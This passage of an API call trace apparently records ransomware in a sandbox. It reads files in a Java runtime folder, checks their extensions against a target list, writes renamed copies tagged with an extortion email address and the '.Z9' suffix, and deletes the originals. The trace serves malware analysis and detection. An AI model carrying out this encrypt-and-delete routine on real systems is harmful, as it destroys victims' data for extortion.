	[0094.242] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0094.242] lstrlenW (lpString=".1cd") returned 4
	[0094.242] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0094.242] lstrlenW (lpString=".jpg") returned 4
	[0094.242] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.242] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.243] lstrlenW (lpString="management.dll") returned 14
	[0094.243] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.278] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=36928) returned 1
	[0094.278] CloseHandle (hObject=0x324) returned 1
	[0094.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 0x20
	[0094.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.279] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.279] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.280] GetLastError () returned 0x0
	[0094.280] ReadFile (in: hFile=0x324, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x9040, lpOverlapped=0x0) returned 1
	[0094.293] WriteFile (in: hFile=0x394, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x9050, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x9050, lpOverlapped=0x0) returned 1
	[0094.295] ReadFile (in: hFile=0x324, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.295] WriteFile (in: hFile=0x394, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf0, lpOverlapped=0x0) returned 1
	[0094.295] SetEndOfFile (hFile=0x394) returned 1
	[0094.295] CloseHandle (hObject=0x394) returned 1
	[0094.295] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.295] SetEndOfFile (hFile=0x324) returned 1
	[0094.296] CloseHandle (hObject=0x324) returned 1
	[0094.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.296] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 1
	[0094.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0094.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0094.297] lstrlenW (lpString=".doc") returned 4
	[0094.297] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.297] lstrlenW (lpString=".docx") returned 5
	[0094.297] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0094.297] lstrlenW (lpString=".pdf") returned 4
	[0094.297] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.297] lstrlenW (lpString=".xls") returned 4
	[0094.297] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.297] lstrlenW (lpString=".xlsx") returned 5
	[0094.297] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0094.297] lstrlenW (lpString=".ppt") returned 4
	[0094.297] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0094.297] lstrlenW (lpString=".zip") returned 4
	[0094.297] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.297] lstrlenW (lpString=".rar") returned 4
	[0094.297] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.297] lstrlenW (lpString=".bz2") returned 4
	[0094.297] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.297] lstrlenW (lpString=".7z") returned 3
	[0094.297] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0094.297] lstrlenW (lpString=".dbf") returned 4
	[0094.297] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0094.297] lstrlenW (lpString=".1cd") returned 4
	[0094.297] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0094.298] lstrlenW (lpString=".jpg") returned 4
	[0094.298] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0094.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0094.298] lstrlenW (lpString=".doc") returned 4
	[0094.298] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.298] lstrlenW (lpString=".docx") returned 5
	[0094.298] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0094.298] lstrlenW (lpString=".pdf") returned 4
	[0094.298] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.298] lstrlenW (lpString=".xls") returned 4
	[0094.298] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.298] lstrlenW (lpString=".xlsx") returned 5
	[0094.298] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0094.298] lstrlenW (lpString=".ppt") returned 4
	[0094.298] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0094.298] lstrlenW (lpString=".zip") returned 4
	[0094.298] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.298] lstrlenW (lpString=".rar") returned 4
	[0094.298] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.298] lstrlenW (lpString=".bz2") returned 4
	[0094.298] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.298] lstrlenW (lpString=".7z") returned 3
	[0094.298] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0094.298] lstrlenW (lpString=".dbf") returned 4
	[0094.298] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0094.298] lstrlenW (lpString=".1cd") returned 4
	[0094.299] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0094.299] lstrlenW (lpString=".jpg") returned 4
	[0094.299] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.299] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.299] lstrlenW (lpString="msvcr100.dll") returned 12
	[0094.299] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.299] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=829264) returned 1
	[0094.299] CloseHandle (hObject=0x324) returned 1
	[0094.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20
	[0094.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.300] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.300] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.300] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.300] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.300] GetLastError () returned 0x0
	[0094.300] ReadFile (in: hFile=0x324, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0xca750, lpOverlapped=0x0) returned 1
	[0094.383] WriteFile (in: hFile=0x394, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xca760, lpOverlapped=0x0) returned 1
	[0094.398] ReadFile (in: hFile=0x324, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.398] WriteFile (in: hFile=0x394, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.398] SetEndOfFile (hFile=0x394) returned 1
	[0094.399] CloseHandle (hObject=0x394) returned 1
	[0094.399] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.399] SetEndOfFile (hFile=0x324) returned 1
	[0094.851] CloseHandle (hObject=0x324) returned 1
	[0094.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.852] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 1
	[0094.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0094.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0094.852] lstrlenW (lpString=".doc") returned 4
	[0094.852] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.852] lstrlenW (lpString=".docx") returned 5
	[0094.852] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0094.852] lstrlenW (lpString=".pdf") returned 4
	[0094.852] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.852] lstrlenW (lpString=".xls") returned 4
	[0094.852] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.852] lstrlenW (lpString=".xlsx") returned 5
	[0094.852] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0094.852] lstrlenW (lpString=".ppt") returned 4
	[0094.852] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0094.852] lstrlenW (lpString=".zip") returned 4
	[0094.852] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.852] lstrlenW (lpString=".rar") returned 4
	[0094.852] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.852] lstrlenW (lpString=".bz2") returned 4
	[0094.852] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.852] lstrlenW (lpString=".7z") returned 3
	[0094.852] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0094.852] lstrlenW (lpString=".dbf") returned 4
	[0094.852] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0094.853] lstrlenW (lpString=".1cd") returned 4
	[0094.853] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0094.853] lstrlenW (lpString=".jpg") returned 4
	[0094.853] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0094.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0094.853] lstrlenW (lpString=".doc") returned 4
	[0094.853] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.853] lstrlenW (lpString=".docx") returned 5
	[0094.853] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0094.853] lstrlenW (lpString=".pdf") returned 4
	[0094.853] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.853] lstrlenW (lpString=".xls") returned 4
	[0094.853] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.853] lstrlenW (lpString=".xlsx") returned 5
	[0094.853] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0094.853] lstrlenW (lpString=".ppt") returned 4
	[0094.853] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0094.853] lstrlenW (lpString=".zip") returned 4
	[0094.853] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.853] lstrlenW (lpString=".rar") returned 4
	[0094.853] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.853] lstrlenW (lpString=".bz2") returned 4
	[0094.853] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.853] lstrlenW (lpString=".7z") returned 3
	[0094.853] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0094.853] lstrlenW (lpString=".dbf") returned 4
	[0094.853] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0094.853] lstrlenW (lpString=".1cd") returned 4
	[0094.853] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0094.854] lstrlenW (lpString=".jpg") returned 4
	[0094.854] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.854] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0094.854] lstrlenW (lpString="policytool.exe") returned 14
	[0094.854] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.854] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=16448) returned 1
	[0094.854] CloseHandle (hObject=0x324) returned 1
	[0094.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 0x20
	[0094.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.855] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.855] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.855] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.855] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0094.856] GetLastError () returned 0x0
	[0094.856] ReadFile (in: hFile=0x324, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x4040, lpOverlapped=0x0) returned 1
	[0094.877] WriteFile (in: hFile=0x37c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x4050, lpOverlapped=0x0) returned 1
	[0094.878] ReadFile (in: hFile=0x324, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.878] WriteFile (in: hFile=0x37c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf0, lpOverlapped=0x0) returned 1
	[0094.878] SetEndOfFile (hFile=0x37c) returned 1
	[0094.878] CloseHandle (hObject=0x37c) returned 1
	[0094.879] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.879] SetEndOfFile (hFile=0x324) returned 1
	[0094.879] CloseHandle (hObject=0x324) returned 1
	[0094.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.880] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 1
	[0094.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0094.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0094.880] lstrlenW (lpString=".doc") returned 4
	[0094.880] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.880] lstrlenW (lpString=".docx") returned 5
	[0094.880] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1
	[0094.880] lstrlenW (lpString=".pdf") returned 4
	[0094.880] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.880] lstrlenW (lpString=".xls") returned 4
	[0094.880] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.880] lstrlenW (lpString=".xlsx") returned 5
	[0094.880] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1
	[0094.880] lstrlenW (lpString=".ppt") returned 4
	[0094.880] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0094.880] lstrlenW (lpString=".zip") returned 4
	[0094.880] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.880] lstrlenW (lpString=".rar") returned 4
	[0094.880] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.881] lstrlenW (lpString=".bz2") returned 4
	[0094.881] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.881] lstrlenW (lpString=".7z") returned 3
	[0094.881] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0094.881] lstrlenW (lpString=".dbf") returned 4
	[0094.881] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0094.881] lstrlenW (lpString=".1cd") returned 4
	[0094.881] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0094.881] lstrlenW (lpString=".jpg") returned 4
	[0094.881] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0094.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0094.881] lstrlenW (lpString=".doc") returned 4
	[0094.881] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.881] lstrlenW (lpString=".docx") returned 5
	[0094.881] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1
	[0094.881] lstrlenW (lpString=".pdf") returned 4
	[0094.881] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.881] lstrlenW (lpString=".xls") returned 4
	[0094.881] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.881] lstrlenW (lpString=".xlsx") returned 5
	[0094.881] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1
	[0094.881] lstrlenW (lpString=".ppt") returned 4
	[0094.881] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0094.881] lstrlenW (lpString=".zip") returned 4
	[0094.881] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.881] lstrlenW (lpString=".rar") returned 4
	[0094.881] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.881] lstrlenW (lpString=".bz2") returned 4
	[0094.881] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.882] lstrlenW (lpString=".7z") returned 3
	[0094.882] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0094.882] lstrlenW (lpString=".dbf") returned 4
	[0094.882] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0094.882] lstrlenW (lpString=".1cd") returned 4
	[0094.882] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0094.882] lstrlenW (lpString=".jpg") returned 4
	[0094.882] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.882] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.882] lstrlenW (lpString="prism_common.dll") returned 16
	[0094.882] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.882] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=57408) returned 1
	[0094.882] CloseHandle (hObject=0x324) returned 1
	[0094.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 0x20
